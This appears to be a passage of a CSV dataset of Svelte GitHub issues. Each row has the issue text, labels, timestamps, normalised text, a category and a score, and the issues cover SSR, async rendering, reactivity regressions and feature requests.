annoyance",,2025-09-23 10:25:43+00:00,2025-09-23 12:55:47+00:00,1,nan,0.1042,output format clashes with server side include format describe the bug when ssis are turned on in nginx the server tries to parse which is the same format output during ssr when is used nginx can t parse this and the default is to print in the html replacing svelte s hydration comment would it be possible to change the format of the renderer output maybe like that seems safe in the corresponding props id hydration code too the current workaround is to not use this feature and pass ids as a prop to each component instance but it would be nice to be able to use i assume this is also an issue with apache etc as they have the same ssi format but i ve only observed it with nginx reproduction static output here logs system info severity annoyance,others,0.3506
sveltejs/svelte,3443293201,Async SSR doesn't support `{@html await ...}`,"### Describe the bug

An `await` expression in an `{@html ...}` block causes a syntax error — this code...

```svelte
<div>{@html await 'this should work'}</div>
```

...results in this output:

```js
export default function App($$renderer) {
	$$renderer.push(`<div>${$.html((await $.save('this should work'))())}</div>`);
}
```

### Reproduction

[link](https://svelte.dev/playground/hello-world?version=5.39.4#H4sIAAAAAAAAE22NwQrCMBBEfyXspQqi91BEb_6D9BDNlixuk9BsWyXk303Ao8d5zJvJ4M2EoOGGzEFtYWardmhJ0O7hACMxJtD3DPKJrddA5T_rGuMxrcjS2MMk_MefwQt6qTPQW1rP-eJkYmU2Q6I6cZRUcmGpx_X-1ZX-1FpVFHwLaJkXLENNhngjb0GPhhOWL6z1RTG7AAAA)",ssr,2025-09-23 01:19:58+00:00,2025-09-23 10:04:46+00:00,0,ssr,0.3644,async ssr doesn t support describe the bug an expression in an block causes a syntax error this code results in this output reproduction link,help,-0.7351
sveltejs/svelte,3441746123,Regression: some elements don't get css scoped during SSR,"### Describe the bug

Since 5.39.3 (likely #16797), `<select>` doesn't receive the scoping class during SSR.
At hydration, if the class is static, it is skipped, and thus the element remains unstyled.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.39.2#H4sIAAAAAAAAA22PwYrDIBCGX0WGPbRQmru1gb3tO2z2YOOkCLNj0GnaEvLu1cRlYdmL6Of_f6MzsP1G0PCBREHdQySndui8oNvDAQZPmEB_ziDPseQKyLy23sfxmCYkKexiE_7H-8CCLFkDJvXRj9J23AmhqMnSDdVZvSWxgrsOhhA62J86Ns1vlI3z09oxCQl7URfPTm_lnmxK59pcQzkWRvGB28xMU_drvdn6bfFXJ5skT8L1PqODqiPmTdUHClGra0TkU0FLWY7Z_CcRouUr_kTypNWavy_4ENASb7h85ZP1dM-vBz1YSri8AMORvb6BAQAA) - checkout the server output

<img width=""898"" height=""297"" alt=""Image"" src=""https://github.com/user-attachments/assets/c7f4d943-0145-4418-a21a-be023d255b05"" />

### Logs

```shell

```

### System Info

```shell
Svelte@5.39.3+ (SSR)
```

### Severity

blocking an upgrade","ssr,css",2025-09-22 16:21:56+00:00,2025-09-24 16:35:52+00:00,3,"ssr,css",2.0097,regression some elements don t get css scoped during ssr describe the bug since likely doesn t receive the scoping class during ssr at hydration if the class is static it is skipped and thus the element remains unstyled reproduction repl checkout the server output logs system info severity blocking an upgrade,bug,-0.6808
sveltejs/svelte,3440106826,Nested pending boundaries: Outer pending doesn't go away until inner resolved,"### Describe the bug

When you have a pending boundary nested insider another pending boundary, and the outer one resolves its async values, it starts showing the inner pending boundary but does not yet show its children. As a result, both pending snippets are visible.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.41.3#H4sIAAAAAAAACm2OsU7DQBBEf2W1FPEJi4SUxrGggwoKd5jiiDfRSZe90906IbL878ixHSLhcmdn3kyLrA-EGb6StQ5OLtgaEqqNUK0wxZ2xFDH7bFHOvvf1AqZT6sX7h3gkK732rSPN6VvHQiwRM8zjNhgvYDXvNxVKrLCouJJdw1sxjqEmq895WSSBYmMlg1Jl8BHcwUTKywLa3l1JIGkCA9NpeiZ9wtkjKdgUEElKcyDXSJJchPE5YlUK69VqpdRTj-sqzpfDsH4M58Py7Ns1XOtwvizMfdHqkzYyTEweVZcv_cVfSfu8dRwFBjps4Na5Vt0EGP43wdmq_2WLN2YKsID7seJaLpW0d5GN9yTgiWvD-0R1g9863d_tcjQMO5YznTyPua55b-SPN1XfcueomKLQj2AmoaHuK0XRxp4M15jttI3U_QJDH1d0fQIAAA

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-09-22 10:00:06+00:00,2025-10-24 14:44:06+00:00,1,nan,32.1972,nested pending boundaries outer pending doesn t go away until inner resolved describe the bug when you have a pending boundary nested insider another pending boundary and the outer one resolves its async values it starts showing the inner pending boundary but does not yet show its children as a result both pending snippets are visible reproduction logs system info severity blocking an upgrade,others,-0.431
sveltejs/svelte,3439851727,Parse failure: `await isn't allowed in non-async function` when using `await` with `@const` inside snippet since 5.39.0,"### Describe the bug

```html
<script>
  async function getOne() {
    return 1;
  }
</script>

{#snippet foo()}
  {@const one = await getOne()}
  {one}
{/snippet}
<svelte:boundary>
  {@render foo()}
  {#snippet pending()}
    <p>Loading...</p>
  {/snippet}
</svelte:boundary>
```
This works in 5.38.10, doesn't work since the 5.39.0 update

### Reproduction

5.38.10:
https://www.sveltelab.dev/dn4b37wr5hze96y

5.39.4:
https://www.sveltelab.dev/74fsjhc81u1vs16



### Logs

```shell
[vite] (ssr) Error when evaluating SSR module /src/routes/test/+page.svelte: Parse failure: await isn't allowed in non-async function
At file: /src/routes/test/+page.svelte:19:17
  File: /src/routes/test/+page.svelte:19:17
  17 |                                  $.validate_snippet_args($$renderer);
  18 |  
  19 |                                  const one = (await $.save(getOne()))();
     |                   ^
  20 |  
  21 |                                  $$renderer.push(`<!---->${$.escape(one)}`);
```

### System Info

```shell
N/A
```

### Severity

blocking an upgrade",ssr,2025-09-22 08:55:34+00:00,2025-09-23 10:04:46+00:00,1,ssr,1.0481,parse failure when using with inside snippet since describe the bug this works in doesn t work since the update reproduction logs system info severity blocking an upgrade,others,-0.836
sveltejs/svelte,3439009162,async: effects don't run when a prop is awaited,"### Describe the bug

When awaiting a component prop in the template, effects in the component don't run directly.
Mutating a state will run them.
Might be related to #16497

### Reproduction

https://svelte.dev/playground/43ca8ba4ec294b05ad1fb42789e61433?version=5.39.4

### Logs

```shell

```

### System Info

```shell
Svelte 5.39.4
```

### Severity

blocking an upgrade",,2025-09-22 03:07:55+00:00,2025-10-05 21:59:59+00:00,0,nan,13.7862,async effects don t run when a prop is awaited describe the bug when awaiting a component prop in the template effects in the component don t run directly mutating a state will run them might be related to reproduction logs system info severity blocking an upgrade,others,-0.6908
sveltejs/svelte,3438926131,Regression: Awaiting inside an async function assigned to const broken since 5.39.0,"### Describe the bug

Prior to 5.39.0, awaiting an async function inside a function assigned to a `@const` worked without issue. From 5.39.0 onward, even though console logging shows that both the parent and child functions are getting called with the right values, the actual component doesn't seem to be updating/rerendering, as if the `activeTab` assignment did nothing.

Things that seem to change behavior:
* Moving the `await doSomething()` before the `activeTab = tab.id` fixes it (but in our case, `doSomething` actually relies on `activeTab` being changed first, so this doesn't work for us)
* Making `switchTab` a function in the script section (instead of inline) and then using `<button onclick={() => switchTab(tab)}>` fixed it, this is what we have done to fix things on our end

### Reproduction

Works on 5.38.10: https://svelte.dev/playground/9edd553009364fc7b6f6031a756b7acf?version=5.38.10
Broken from 5.39.0: https://svelte.dev/playground/9edd553009364fc7b6f6031a756b7acf?version=5.39.0
Broken in latest: https://svelte.dev/playground/9edd553009364fc7b6f6031a756b7acf?version=latest

(switch from Tab 1 to 2 to 3. Working version changes text all the time, broken version gets stuck after one click)

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (14) arm64 Apple M4 Pro
    Memory: 534.53 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.15.1 - ~/.asdf/installs/nodejs/22.15.1/bin/node
    Yarn: 1.22.22 - ~/.asdf/instal... [TRUNCATED]",,2025-09-22 02:17:42+00:00,2025-10-21 19:56:19+00:00,1,nan,29.7352,regression awaiting inside an async function assigned to const broken since describe the bug prior to awaiting an async function inside a function assigned to a worked without issue from onward even though console logging shows that both the parent and child functions are getting called with the right values the actual component doesn t seem to be updating rerendering as if the assignment did nothing things that seem to change behavior moving the before the fixes it but in our case actually relies on being changed first so this doesn t work for us making a function in the script section instead of inline and then using fixed it this is what we have done to fix things on our end reproduction works on broken from broken in latest switch from tab to to working version changes text all the time broken version gets stuck after one click logs system info shell system os macos cpu arm apple m pro memory mb gb shell bin zsh binaries node asdf installs nodejs bin node yarn asdf instal truncated,bug,-0.9313
sveltejs/svelte,3438082364,Reactivity regression since 5.39.0,"### Describe the bug

I have a pattern for trying to deal with async data that isn't working properly anymore since 5.39.0. `$inspect(delayed_value)` shows that `delayed_value` is getting updated, but this is not reflected in the DOM.

The `$derived` on line 8 looks useless, but it is part of what makes this break, and it was part of a more complicated expression in my original app that did actually do something.

Apart from any runtime changes in 5.39.0, the compilation change that I'm seeing since 5.38.10 is `await null;` starting to get compiled to `(await $.save(null))();`.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.39.3#H4sIAAAAAAAACnWR3WoDIRSEX0VkIS6U9H6bFHrXd2hKsOvYCqe66NlNw5J3r2ZtQ_pzI_iNc2Y4ztLrd8hOPoIoiEOIZISCcQzTyhtpHSHJ7mmWfBzKuwIyr66HYVinCcSFveiEv3gfPMNzHiM3qY9u4Pud33HGiUVECjRBbIUdfS-292Iu4o4JLPoxxuzMYpNYM1R7t4gNrEXP6yFCqba4ilu1a36DV5OmEQVe_GfUftkjeIxeLM766Cydyvnd7RW8NyB9hNnXmaIxiG6CUbW40umYey-janV90I6FH4mu81Y2hNWSU6ssOf9m_Cqgqq9xPg15AepKLdrm9rJiP5dPC_Y64JT5T5B_ifHBsuOY78_5ph0dnDeys5oSTp-3GN7uKAIAAA

### Logs

```shell
init undefined
update foo
```

### System Info

```shell
REPL
```

### Severity

blocking an upgrade",bug,2025-09-21 09:26:52+00:00,2025-10-30 21:41:05+00:00,1,bug,39.5099,reactivity regression since describe the bug i have a pattern for trying to deal with async data that isn t working properly anymore since shows that is getting updated but this is not reflected in the dom the on line looks useless but it is part of what makes this break and it was part of a more complicated expression in my original app that did actually do something apart from any runtime changes in the compilation change that i m seeing since is starting to get compiled to reproduction logs system info severity blocking an upgrade,bug,-0.7311
sveltejs/svelte,3437449117,Using a $state variable in an inner object of derived strips reactivity,"### Describe the bug

Hello,

It appears that when creating an object with $derived that contains an inner object where a field is from a $state variable, the access is no longer reactive.

### Reproduction

https://svelte.dev/playground/untitled?version=5.39.3#H4sIAAAAAAAAE6WQwW7CMBBEf8VacQCpCqJHkyD1I3rCHJx4aS3MYsVLoIr876wTDhy49WTNjHee1yOQPSNo-Cb2HNDBBxx9wAR6PwL_xZIVQ_znza8YqzRg4OK1NuE7v7sQI7HUQJ263kdWwdJPY4CTgZ0hIzBWjIk3qlGLxJZxyf0VV9vX8LOEDns_oFuOJTHsibDX6qkMDzbouWl2cjnyylC9ntEFR7WneJVSWUle0f1id2ovdwOq9eT0pNE14wStJkQlxVmtd_-Zla9gvDPoslo-iLI-3GQK9NGGhPkBhGw9LIEBAAA

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 14.6.1
    CPU: (16) arm64 Apple M3 Max
    Memory: 30.92 GB / 128.00 GB
    Shell: 4.0.2 - /opt/homebrew/Cellar/fish/4.0.2/bin/fish
  Binaries:
    Node: 24.1.0 - /opt/homebrew/bin/node
    npm: 11.3.0 - /opt/homebrew/bin/npm
    pnpm: 10.15.1 - /opt/homebrew/bin/pnpm
  Browsers:
    Chrome: 140.0.7339.133
    Safari: 17.6
  npmPackages:
    svelte: ^5.39.3 => 5.39.3
```

### Severity

annoyance",,2025-09-20 19:40:32+00:00,2025-09-20 20:18:33+00:00,4,nan,0.0264,using a state variable in an inner object of derived strips reactivity describe the bug hello it appears that when creating an object with derived that contains an inner object where a field is from a state variable the access is no longer reactive reproduction logs system info severity annoyance,others,-0.6486
sveltejs/svelte,3437248038,Async remote functions with SSR don't seem to work,"### Describe the bug

I'm not sure if this is a Svelte or SvelteKit issue (or just me missing something), but loading a remote function using Async w/ SSR seems to be broken. I've tried `await` in the script block, in a $derived, in an `{#each}` block, and with/without a `<svelte:boundary>` and I always get the same error: `Svelte error: await_invalid`

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-rmru6myp?description=The%20default%20SvelteKit%20template,%20generated%20with%20create-svelte&file=src%2Froutes%2F%2Bpage.svelte&title=SvelteKit%20Default%20Template

### Logs

```shell
Svelte error: await_invalid
Encountered asynchronous work while rendering synchronously.
https://svelte.dev/e/await_invalid
    at Module.await_invalid (node_modules/svelte/src/internal/server/errors.js:17:16)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:128:27)
    at eval (src/routes/+page.svelte:35:16)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:122:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:147:22)
    at _page (src/routes/+page.svelte:19:14)
    at eval (.svelte-kit/generated/root.svelte:74:7)
    at eval (src/routes/+layout.svelte:25:5)
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  npmPackages:
    @sveltejs/kit: ^2.22.0 => 2.42.2... [TRUNCATED]",,2025-09-20 15:36:02+00:00,2025-09-20 16:47:02+00:00,2,nan,0.0493,async remote functions with ssr don t seem to work describe the bug i m not sure if this is a svelte or sveltekit issue or just me missing something but loading a remote function using async w ssr seems to be broken i ve tried in the script block in a derived in an block and with without a and i always get the same error reproduction logs system info shell system os linux undefined cpu x intel r core tm i h cpu ghz memory bytes bytes shell bin jsh npmpackages sveltejs kit truncated,others,-0.9635
sveltejs/svelte,3437111525,Component composition with tree-scoped style propagation,"### Describe the problem

Hi,

I am looking to allow a child components to extend or override parent component styles within the component tree (similar to traditional inheritance). As an example we'll use two custom card components: 
- BaseCard.svelte (parent) component has all the basic features of a custom card and it is the parent component for all types of cards. 
- HoverCard.svelte (child) is a custom card which has an hover effect as styling, in addition to the parent's styling. 

### Workaround
The current workarounds are: 
- Duplicate html and styling (and script, not included in this example) in the component.
- Utilise a combination of "":global()"" and ""!important"" in the styling tag to disable the component scope and overwrite the parent's styling. 
- Utilise inline styling instead of classes, they seem to work and can overwrite the parent. However with a lot of styling, classes would be preferred. See the border-styling in the code.

### Observation
- Svelte issues a class identifier for a component. This identifier is the same for the children and the parent.
- If there is an additional div which is not a part of the component tree has a different identifier.
- Without :global() svelte limits the scope of where the styling is applied; this makes it so that the parent's class is not affected even though it does receive the ""hover-card"" class. View code context.
- Without !important styles can not be overwritten if it has been declared in the style-block of the par... [TRUNCATED]",,2025-09-20 12:49:08+00:00,2025-09-20 13:35:27+00:00,2,nan,0.0322,component composition with tree scoped style propagation describe the problem hi i am looking to allow a child components to extend or override parent component styles within the component tree similar to traditional inheritance as an example we ll use two custom card components basecard svelte parent component has all the basic features of a custom card and it is the parent component for all types of cards hovercard svelte child is a custom card which has an hover effect as styling in addition to the parent s styling workaround the current workarounds are duplicate html and styling and script not included in this example in the component utilise a combination of global and important in the styling tag to disable the component scope and overwrite the parent s styling utilise inline styling instead of classes they seem to work and can overwrite the parent however with a lot of styling classes would be preferred see the border styling in the code observation svelte issues a class identifier for a component this identifier is the same for the children and the parent if there is an additional div which is not a part of the component tree has a different identifier without global svelte limits the scope of where the styling is applied this makes it so that the parent s class is not affected even though it does receive the hover card class view code context without important styles can not be overwritten if it has been declared in the style block of the par truncated,others,0.0114
sveltejs/svelte,3435314999,Condition based on optional children Snippet does not work if children are given using if or each block,"### Describe the bug

In the docs for [Optional snipped props](https://svelte.dev/docs/svelte/snippet#Passing-snippets-to-components-Optional-snippet-props) it gives an example of how to conditionally render content in the component if children are present like so:

```svelte
<script>
	let { children } = $props();
</script>

{#if children}
	{@render children()}
{:else}
	fallback content
{/if}
```

This works fine if the children are handed directly to the component in HTML but the conditional does not behave as expected if the component users tries to wrap the children in an {#if} block or populate it with an {#each block}.

### Reproduction

`component.svelte`
```svelte
<script>
	let { children } = $props();
</script>

{#if children}
	{@render children()}
{:else}
	fallback content
{/if}
```

`+page.svelte`
```svelte
<script>
	import Test from ""$lib/component.svelte"";
</script>

<Test>
	{#if false}
		<div>Never rendered as child</div
	{/if}
</Test>
```

The fallback content will never show, even though the component never has any children

### System Info

```shell
System:
    OS: macOS 26.0
    CPU: (10) arm64 Apple M1 Max
    Memory: 393.33 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - /opt/homebrew/opt/node@22/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 10.9.3 - /opt/homebrew/opt/node@22/bin/npm
    bun: 1.0.2 - ~/.bun/bin/bun
  Browsers:
    Chrome: 139.0.7258.155
    Safari: 26.0
```

### Severity

annoyance",,2025-09-19 17:53:45+00:00,2025-09-20 05:33:11+00:00,4,nan,0.4857,condition based on optional children snippet does not work if children are given using if or each block describe the bug in the docs for optional snipped props it gives an example of how to conditionally render content in the component if children are present like so this works fine if the children are handed directly to the component in html but the conditional does not behave as expected if the component users tries to wrap the children in an if block or populate it with an each block reproduction the fallback content will never show even though the component never has any children system info severity annoyance,others,-0.9066
sveltejs/svelte,3430871626,Reseting state during on mount will cause a race condition inside key/each block,"### Describe the bug

When resetting `item` state to undefined during `onMount` or  immediately in `$effect`, then it will crash because the each or key block can no longer access the `item.id` even though it's inside `if` block.

It looks like race condition, since if I wait one tick inside the onMount and then reset the value to undefined then it works.

### Reproduction

Playground: https://svelte.dev/playground/7d7b34facedb4e4594f7175aaf805f8a?version=5.39.2

```svelte
<script>
  let item = $state({ id: '1' });

  $effect(() => {
    // Clear the item
    item = undefined;
  });
</script>

{#if item}
  <!-- Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'id') -->
  {#key item.id}
	  {item.id}
  {/key}
  {#each [item.id] as id}
    {id}
  {/each}
{/if}
```

### System Info

```shell
Svelte: 5.39.2
```

### Severity

blocking",,2025-09-18 15:20:53+00:00,2025-10-21 08:07:53+00:00,3,nan,32.6993,reseting state during on mount will cause a race condition inside key each block describe the bug when resetting state to undefined during or immediately in then it will crash because the each or key block can no longer access the even though it s inside block it looks like race condition since if i wait one tick inside the onmount and then reset the value to undefined then it works reproduction playground system info severity blocking,others,-0.9393
sveltejs/svelte,3420628350,Feature Request:  Built-in access of a $derived's current value,"### Describe the problem

Imagine a scenario where one would like to stop cascading a change through a chain of $derived values.

```plaintext
$state change -> $derived A changes -> $derived B changes -> $derived C changes -> $effects
```

Imagine that `$derived A` has decided that, despite the change, it is not useful for the downstream calculations to run, perhaps because the original state change will imply that, for example, something gets reset, making the calculation effort of all downstream values, a waste of time.

If I understand Svelte, if the reported new value of `$derived A` is the same as its previous value, the downstream chain is not going to be activated.  That would be the goal.

Now imagine that for whatever reason, `$derived A` is interested in **not** performing its calculations.  Perhaps calculating will produce a different value, and we want to **force** the previous one.  What then?

### Describe the proposed solution

It would be ideal if we could short-circuit calculations of a `$derived` by simply using the previous signal value:

```typescript
let someDerived = $derived.by(() => {
  if (<some condition>) {
    return $derived.previous(); // Or current?
  }
  ...
});

let someDerived = $derived(<some condition> ? $derived.previous() : ...);
```

The alternative I see is to manually track the previous value in user land.  I dislike this approach because that value is already stored somewhere.  I want to access that copy. 😄   If you please.

### Impor... [TRUNCATED]",,2025-09-16 06:22:12+00:00,2025-09-16 08:25:23+00:00,0,nan,0.0855,feature request built in access of a derived s current value describe the problem imagine a scenario where one would like to stop cascading a change through a chain of derived values imagine that has decided that despite the change it is not useful for the downstream calculations to run perhaps because the original state change will imply that for example something gets reset making the calculation effort of all downstream values a waste of time if i understand svelte if the reported new value of is the same as its previous value the downstream chain is not going to be activated that would be the goal now imagine that for whatever reason is interested in not performing its calculations perhaps calculating will produce a different value and we want to force the previous one what then describe the proposed solution it would be ideal if we could short circuit calculations of a by simply using the previous signal value the alternative i see is to manually track the previous value in user land i dislike this approach because that value is already stored somewhere i want to access that copy if you please impor truncated,feature,0.9705
sveltejs/svelte,3419764640,"A component's content is rendered while the component is not mounted, when using {#key}","### Describe the bug

Ok, just thinking about an appropriate title was difficult.

Here it goes, my attempt to describe this problem.

#### Background

Making an online REPL demo for my router (@wjfe/n-savant), I decided to show a simple way to add transitions.  It works.  However, if the matching route itself continues to match after navigating (in the demo's case, a route parameter changes), then animation doesn't take place because the component is not being destroyed so transitions don't happen.

This is the REPL:  [@wjfe/n-savant demo](https://svelte.dev/playground/d273d356947e48c0822a65402fd06fac)

So I figured:  Ok, if the Svelte tutorial ever taught me anything is that I can trigger transitions using `{#key}`.  So let's add `{#key rp}` (`rp` is a reactive object that holds the matching route's parameter values) to AniRoute.svelte.

#### The Issue

Refer to this other REPL:  [@wjfe/n-savant playground](https://svelte.dev/playground/ed8a63dc8ed74ed4a583718f73549599)

Open it, navigate to either ""Big"", ""Medium"" or ""Small"", then back to ""Home"".  What you're seeing is the **Home.svelte** component and the **Logos.svelte** component being rendered at the same time.  It is the big logo regardless of your previous choice because the route param that dictates the logo size named ""variant"" has changed to `undefined`.  This means the big logo.

Logic issue?  Doesn't look like it.  Check the console log:

```plaintext
# These lines appear when you navigate to a logo route.
logo R... [TRUNCATED]",,2025-09-15 22:57:56+00:00,2025-10-21 08:07:53+00:00,3,nan,35.3819,a component s content is rendered while the component is not mounted when using key describe the bug ok just thinking about an appropriate title was difficult here it goes my attempt to describe this problem background making an online repl demo for my router wjfe n savant i decided to show a simple way to add transitions it works however if the matching route itself continues to match after navigating in the demo s case a route parameter changes then animation doesn t take place because the component is not being destroyed so transitions don t happen this is the repl wjfe n savant demo so i figured ok if the svelte tutorial ever taught me anything is that i can trigger transitions using so let s add is a reactive object that holds the matching route s parameter values to aniroute svelte the issue refer to this other repl wjfe n savant playground open it navigate to either big medium or small then back to home what you re seeing is the home svelte component and the logos svelte component being rendered at the same time it is the big logo regardless of your previous choice because the route param that dictates the logo size named variant has changed to this means the big logo logic issue doesn t look like it check the console log plaintext these lines appear when you navigate to a logo route logo r truncated,others,0.3824
sveltejs/svelte,3417283831,Support `runes` option to `parse` function,"### Describe the problem

In this `eslint-plugin-svelte` issue, there was a report that runes mode specific warnings are not being shown. To fix this, I think it’s necessary to add a runes flag to the parse function.

https://github.com/sveltejs/eslint-plugin-svelte/issues/1242

### Describe the proposed solution

Adding `runes` option to `parse` function.

### Importance

nice to have",,2025-09-15 10:17:17+00:00,2025-09-23 01:56:03+00:00,4,nan,7.6519,support option to function describe the problem in this issue there was a report that runes mode specific warnings are not being shown to fix this i think it s necessary to add a runes flag to the parse function describe the proposed solution adding option to function importance nice to have,help,0.7845
sveltejs/svelte,3415607401,Full page refresh results in `<path>` element being placed outside of `<svg>`,"### Describe the bug

When I perform a full page refresh, some `path` gets added to the DOM outside of the `svg`.

I am wondering if anyone has got this problem (or if I'm doing something very wrong).

I am trying to work on a reproduction as I can't share the exact code for obvious resions, but I am not able to reproduce this this with svelte playground.

### Reproduction

[Tried Reproducing with a playground](https://svelte.dev/playground/c2ea03978d3e405f9931ec0c7291dfc2?version=5.38.10#H4sIAAAAAAAAE5VV23LbRgz9FZS92J4I1F64vFlynLbTJjPupNP4yaEfaGolsV3eV1Icjf69A5Ky5Y7zUM5IXOIA2LPAAtg7ZVpoJ3bea2Mq2FWtWcC5XuRWLy6cibPMje6c-PPesY816ZHAmRyt3tW12221sSR7SDv9mjyrSqtL2zmxM-uyNq_tVVImNi_qqrXwIatKWLZVAYnjTulrtEwc0jLaAjmFOfzQ2dTq87Oe5NnF5RHOqk1pn3FGyGz6vFM5W-TbfstZV6fl1SdtbV6uOuCzaS-Y9RzyrCrnidONaOLA9GowGNVe8SD-r4fZdORSzjr7aHTvdJFvYU8LWna1SR9jWLX5oj9hYmmJVhe1Sa3GrDKbouxiaHWtU3suJpBubHUBfNmOBqnJVyXmVhddDJkurT4iq7SOgbe66L8PfZx6Gs7EsfqLdWLbbvRh8o10n2TnZb5fAq8nfMzWvg_TBLr8KyU1cYhO4kzA5tboCbiu2-rO_tlWdQcHSmtNy_OL3kWZWACArCq74ep0MIePD3_rzLrLVuuv-nyflDA-x0zEcCKk5yxt8xRN-qDNWQynKZu8VKxTu46f_JyAhyGgiT1c_Oe27b_vyryutX0yO784DIaz7xDhU7VpMx3D2tq6i6fTZVXazl1V1cpoN6uKKcWne9tpozOrF_M_UqvbPDVvPj0WD5Xp3nzcWJOXehE_He-3Dzc31-xyt1rba4-xy9__evfrNbus6u7rtfB-Iodus9Ht43y8uYOIUjA_4lllqnb-o5A61KleAOLVSJpi8HzwxTxxChkwDBlyH7kIG-QSFQrPVcjFrWQBCqkMch6BYjdBiDJQhjOJAeligBy5dNUWRdAw9F0Fg4BUVagM5wx5xGBw0HCOIQiJXFnhIRdm2HYtBDPcB2LAJSggAsCFFYLe5CZCRV4Y8IghZxKCsOEQAId-f9oefFeh6L-JIgQhPhnwEBVrkHMIUUjgyqLwgIsbFdHx38uA3RV9JNZBZL... [TRUNCATED]",,2025-09-14 21:28:04+00:00,2025-09-22 01:15:40+00:00,2,nan,7.1581,full page refresh results in element being placed outside of describe the bug when i perform a full page refresh some gets added to the dom outside of the i am wondering if anyone has got this problem or if i m doing something very wrong i am trying to work on a reproduction as i can t share the exact code for obvious resions but i am not able to reproduce this this with svelte playground reproduction tried reproducing with a playground truncated,others,-0.566
sveltejs/svelte,3415147349,🚀 Kit: Add `empty()` helper for responses,"### Describe the problem

I find myself more often in the position of writing `OPTIONS` endpoints. To make that easier, I wrote a small helper function — similar to `json()` and `text()` — to return a `204 No Content` response more quickly and cleanly.

Maybe this could just be added to the SvelteKit core too?

It just feels so much nicer for my eyes to **always return a function**, instead of sometimes calling a function (`json()`, `text()`) and other times manually instantiating a `Response` object. It makes the code feel more consistent and ergonomic overall. Maybe some of you feel the same way.

### Describe the proposed solution

Right now i use:

```js
/**
 * Create a `Response` object `No Content`. 
 * @param {ResponseInit} [init]  Options such as `status` and `headers` that will be added to the response.
 */
export function empty(init?: ResponseInit) {
  const headers = new Headers(init?.headers);
  return new Response(null, {
    ...init,
    headers,
    status: 204
  });
}
```
or general-purpose
```js
/**
 * Creates a `Response` object with the given body and initialization options.
 * @param {BodyInit | null} body - The body of the response. Can be a string, Blob, ArrayBuffer, FormData, etc., or `null` for no body.
 * @param {ResponseInit} [init] - Optional response options such as status, headers, and statusText.
 */
export function empty(body, init) {
  const headers = new Headers(init?.headers);
  return new Response(body, {
      ...init,
      headers
  });
}... [TRUNCATED]",,2025-09-14 14:57:35+00:00,2025-09-14 16:19:21+00:00,1,nan,0.0568,kit add helper for responses describe the problem i find myself more often in the position of writing endpoints to make that easier i wrote a small helper function similar to and to return a response more quickly and cleanly maybe this could just be added to the sveltekit core too it just feels so much nicer for my eyes to always return a function instead of sometimes calling a function and other times manually instantiating a object it makes the code feel more consistent and ergonomic overall maybe some of you feel the same way describe the proposed solution right now i use or general purpose js creates a object with the given body and initialization options param bodyinit null body the body of the response can be a string blob arraybuffer formdata etc or for no body param responseinit init optional response options such as status headers and statustext export function empty body init const headers new headers init headers return new response body init headers truncated,help,0.8166
sveltejs/svelte,3415058417,Replacing a value in SvelteMap does not trigger reactivity,"### Describe the bug

When I have following code:

```js
let map = new SvelteMap()
map.set(""svelte"", { counter: 0})

const obj = map.get(""svelte"")

obj.counter += 1

map.set(name, obj)
```

`map.set(""svelte"", { counter: 0})` triggers a reactive change, while `map.set(name, obj)` does not.

I would have expected that `map.set()`  always triggers a reactive change, at least if the replaced value is different.
Writing `map.set(""svelte"", Object.assign({}, ob))` instead solves the issue.

### Reproduction

```html
<script>
	import { SvelteMap } from 'svelte/reactivity';

	let name = $state()
	let map = new SvelteMap()
 
	function onclick() {
			if (!map.has(name)) {
				map.set(name, { counter: 0})
			}

			const obj = map.get(name)
			obj.counter += 1

			// workaround
			//map.set(name, Object.assign({}, obj))
			map.set(name, obj)
	
			console.log(""name: %s, counter: %s"", name, map.get(name).counter)
	}

	$inspect(map);
</script>

<h1>Hello {name}!</h1>

<input bind:value={name} />
<button {onclick}>
	Clicks:
	{#if map.has(name)} 
		{map.get(name).counter}
	{:else}
		none
	{/if}
</button>

```

Link to [https://svelte.dev/playground/0eb6b594fa384c07a201d93d79d2f311?version=latest](https://svelte.dev/playground/0eb6b594fa384c07a201d93d79d2f311?version=latest)

In the above example, type any string into the input field. When clicking on ""Clicks"" it will update to ""Clicks: 1"". By clicking again, nothing happens, although `map.set(name, obj)` is called. Interestingly, it says ""Clic... [TRUNCATED]",,2025-09-14 13:44:24+00:00,2025-09-14 14:05:01+00:00,1,nan,0.0143,replacing a value in sveltemap does not trigger reactivity describe the bug when i have following code triggers a reactive change while does not i would have expected that always triggers a reactive change at least if the replaced value is different writing instead solves the issue reproduction link to in the above example type any string into the input field when clicking on clicks it will update to clicks by clicking again nothing happens although is called interestingly it says clic truncated,others,0.6808
sveltejs/svelte,3412119627,Migration script for app-state does not migrate derived,"### Describe the bug

I have some global derived store that are derived from the deprecated `page` store (`$app/stores`). Now, I want to migrate them with the script, but it does not work (it does nothing), so I need to do it manually. And I am not 100% sure if I am doing it correctly, retaining the reactivity (any suggestion welcomed).

### Reproduction

put this snippet in a file

```ts
import { page } from '$app/stores';
import type { OptionString } from '$lib/types/string';
import { derived, type Readable } from 'svelte/store';

export const routeToken: Readable<OptionString> = derived(
	[page],
	([
		{
			data: { token }
		}
	]) => token
);
```

and run 

`npx sv migrate app-state`

### Logs

Nothing happens or changes:

```shell
npx sv migrate app-state
┌  Welcome to the svelte-migrate CLI! (v1.10.1)
│
▲  This will update files in the current directory.
│  If you're inside a monorepo, don't run this in the root directory, rather run it in all projects independently.
│
◇  Continue?
│  Yes
│
◇  Which folders should be migrated?
│  src
│
